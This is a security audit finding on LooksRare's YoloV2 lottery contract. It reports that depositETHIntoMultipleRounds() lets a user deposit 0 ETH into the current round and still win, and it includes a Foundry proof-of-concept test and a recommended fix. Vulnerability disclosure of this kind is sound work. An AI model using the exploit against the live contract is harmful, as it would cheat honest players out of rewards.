Mysterious Seafoam Huskie

high

# User can deposit 0 ETH into a round and win the rewards

## Summary
User can deposit 0 ETH into a round and win the rewards, because [depositETHIntoMultipleRounds()](https://github.com/sherlock-audit/2024-01-looksrare/blob/main/contracts-yolo/contracts/YoloV2.sol#L312) function does not check if user's `entriesCount` is 0.

## Vulnerability Detail
User can call **depositETHIntoMultipleRounds()** function to deposit ETH into multiple rounds. This function will first check if `msg.value` is not 0:
```solidity
        if (msg.value == 0 || numberOfRounds == 0) {
            revert ZeroDeposits();
        }
```
Then, ETH will be deposited into the current round and upcoming rounds:
```solidity
        for (uint256 i; i < numberOfRounds; ++i) {
            uint256 roundId = _unsafeAdd(startingRoundId, i);
            Round storage round = rounds[roundId];
            uint256 roundValuePerEntry = round.valuePerEntry;
            if (roundValuePerEntry == 0) {
                (, , roundValuePerEntry) = _writeDataToRound({roundId: roundId, roundValue: 0});
            }

            _incrementUserDepositCount(roundId, round);

            uint256 depositAmount = amounts[i];
            if (depositAmount % roundValuePerEntry != 0) {
                revert InvalidValue();
            }
            uint256 entriesCount = _depositETH(round, roundId, roundValuePerEntry, depositAmount);
            expectedValue += depositAmount;

            entriesCounts[i] = entriesCount;
        }
```
However, it does not check if the deposited ETH amount is 0 in each round:
```solidity
            uint256 entriesCount = _depositETH(round, roundId, roundValuePerEntry, depositAmount);
            expectedValue += depositAmount;
```
but only check if the total deposited amount equals to `msg.value`:
```solidity
        if (expectedValue != msg.value) {
            revert InvalidValue();
        }
```
User can exploit this and deposit 0 ETH into the current round and win the rewards. Imagine the following scenario:
1. Alice deposit **0.02** ether into the current round, `currentEntryIndexArray` is **[2]**;
2. Bob calls **depositETHIntoMultipleRounds()** with arguments **[0, 0.01 ether]**;
3. **0**  ETH is deposited into the current round and **0.01** ETH is deposited into the next round, so`currentEntryIndexArray` becomes **[2, 2]**;
4. Chainlink VRF is called, when the random number is returned to [fulfillRandomWords()](https://github.com/sherlock-audit/2024-01-looksrare/blob/main/contracts-yolo/contracts/YoloV2.sol#L1270) function, we can know Bob will be chosen as the winner  if `winningEntry` is **2**.

In the example above, Bob has a 50% probability to be chosen as the winner, in fact, Bob can call **depositETHIntoMultipleRounds()** function multiple times to increase his chances of winning dramatically.

Please run the test codes to verify:
```solidity
    function test_audit_deposit_0_to_win() public {
        address alice = makeAddr("Alice");
        address bob = makeAddr("Bob");

        vm.deal(alice, 0.02 ether);
        vm.deal(bob, 0.01 ether);

        // Alice deposit 0.02 ether into current round
        vm.prank(alice);
        yolo.deposit{value: 0.02 ether}(1, _emptyDepositsCalldata());

        // Bob deposit 0 ether into current round and 0.01 ether into next round
        uint256[] memory amounts = new uint256[](2);
        amounts[0] = 0;
        amounts[1] = 0.01 ether;
        vm.prank(bob);
        yolo.depositETHIntoMultipleRounds{value: 0.01 ether}(amounts);

        uint256 currentTime = block.timestamp + ROUND_DURATION;
        vm.warp(currentTime);

        // drawn winner
        yolo.drawWinner();

        // fulfill VRF request to choose the winner 
        vm.prank(VRF_COORDINATOR);
        uint256[] memory randomWords = new uint256[](1);
        uint256 randomWord = 123;
        randomWords[0] = randomWord;
        yolo.rawFulfillRandomWords(FULFILL_RANDOM_WORDS_REQUEST_ID, randomWords);

        (
            ,
            ,
            ,
            ,
            ,
            ,
            address winner,
            ,
            ,
        ) = yolo.getRound(1);

        // Bob is the winner
        assertEq(bob, winner);
    }
```

## Impact
User can cheat in the game by depositing 0 ETH to win rewards, the fairness is undermined and honest users have no chance to earn rewards.

## Code Snippet
https://github.com/sherlock-audit/2024-01-looksrare/blob/main/contracts-yolo/contracts/YoloV2.sol#L341-L342

## Tool used
Manual Review

## Recommendation
In **depositETHIntoMultipleRounds()** function, check if is `entriesCount` is 0 in each deposited round:
```diff
            uint256 entriesCount = _depositETH(round, roundId, roundValuePerEntry, depositAmount);
+           if (entriesCount == 0) {
+               revert InvalidValue();
+           }
            expectedValue += depositAmount;
```